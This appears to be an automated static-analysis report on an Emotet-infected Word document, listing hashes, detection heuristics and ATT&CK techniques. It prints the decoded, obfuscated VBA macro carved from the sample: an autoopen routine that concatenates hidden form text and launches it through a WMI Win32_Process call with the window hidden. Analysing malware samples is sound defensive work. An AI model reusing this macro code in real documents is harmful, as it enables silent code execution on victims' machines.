Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 929b081d15d4a2d8…

MALICIOUS

Office (OLE)

131.0 KB Created: 2019-05-06 17:48:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 2f64cb6c87d5a79dc38841bc16f884bd SHA-1: f8a576304d838a9c4baa582e379c2721ea8bc1de SHA-256: 929b081d15d4a2d80697dec99fac8ae10a11b7d16ce7130c1fdb672ea22d9b4b
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 System Binary Proxy Execution: Rundll32

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6963408-0', strongly suggesting the Emotet family. Critical heuristics indicate the presence of VBA macros that utilize GetObject and CreateObject to launch the Win32_Process WMI class, a common technique for executing arbitrary code. The autoopen macro is present, which is typically executed upon opening the document, initiating the malicious chain.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6963408-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6963408-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3798 bytes
SHA-256: f8360b0f385a96bcb44e18cbed9d23a88c67f56d898c80fafd3b6933bfc94d9a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "E58_5_52"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "a_524064"
Attribute VB_Base = "0{7792951C-2CF1-4CA8-8678-55CD8BB09DA2}{556274E5-8D44-4D20-A935-6A7892496BE6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "p07361_"

Attribute VB_Name = "U35673"

Attribute VB_Name = "z983_0"

Attribute VB_Name = "U2075896"
Attribute VB_Base = "0{07CD9A64-DC1D-43FB-B5D2-24FE5CA52000}{1C37A7B4-FBD9-42A7-9D54-C3181E1BD129}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "b974_225"
Function S210528_(a4274965)
         While P214871 And 742508242
      Wend
         While a09871 And 646160966
      Wend
Set S210528_ = CVar(a4274965)
         While s15_08 And 388849693
      Wend
         While F5_32737 And 286388731
      Wend
End Function
Sub _
autoopen()
On Error Resume Next
         While a59_05 And 697673036
      Wend
         While B2584651 And 948666339
      Wend
Call r44190_
         While q1436669 And 730121902
      Wend
         While r78_32 And 494430004
      Wend
End Sub


Attribute VB_Name = "n61_69"
Function r44190_()
On Error Resume Next
         While t36470 And 862794056
      Wend
         While X22118_3 And 447161100
      Wend
         While Q1504655 And 321501626
      Wend
D153381 = a_524064.B1599819.ControlTipText + U2075896.P434846_ + a_524064.B1599819.PasswordChar + U2075896.U2_6136_ + a_524064.B1599819.PasswordChar + a_524064.B1599819.ControlTipText + U2075896.K77393 + a_524064.B1599819 + a_524064.B1599819.ControlTipText + U2075896.D602293 + a_524064.B1599819.PasswordChar + U2075896.k11583 + a_524064.B1599819.ControlSource
         While i26_00 And 433085630
      Wend
         While P376898 And 787515689
      Wend
         While w____72_ And 947445038
      Wend
Set d147220 = S210528_(GetObject("win" + _
"mgmt" + "s:Wi" + "n32_Pr" _
+ "ocess"))
         While C5243341 And 924736658
      Wend
         While c_1168 And 535114328
      Wend
d147220.Create q1174___ + D153381 + Q_43_3, F024116, P6698363, S032823
         While W41145_ And 657587397
      Wend
         While L8534_64 And 233598079
      Wend
End Function


Attribute VB_Name = "Q98384"

Public Function P6698363()
         While r1959831 And 959489985
      Wend
         While C84614 And 391229455
      Wend
Set P6698363 = S210528_(GetObject("win" _
+ "mgmt" + "s:Wi" _
+ "n32_Pr" + "ocess" + "S" _
+ "tartup"))
         While k557156 And 564038286
      Wend
         While T3127936 And 322884932
      Wend
z8017349 = vbError - vbError
         While Z3787460 And 359037816
      Wend
         While h590401 And 99479492
      Wend
With P6698363
         While I5779852 And 460926279
      Wend
         While M2_565 And 345680857
      Wend
         While E45869 And 746111191
      Wend
. _
ShowWindow = z8017349 + z8017349 + z8017349 + z8017349 + z8017349 + z8017349 + z8017349
         While u8669441 And 550045514
      Wend
         While k62532 And 649858854
      Wend
End With
         While i435736 And 742645556
      Wend
         While W45567 And 668612193
      Wend
         While c9301719 And 256321874
      Wend
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.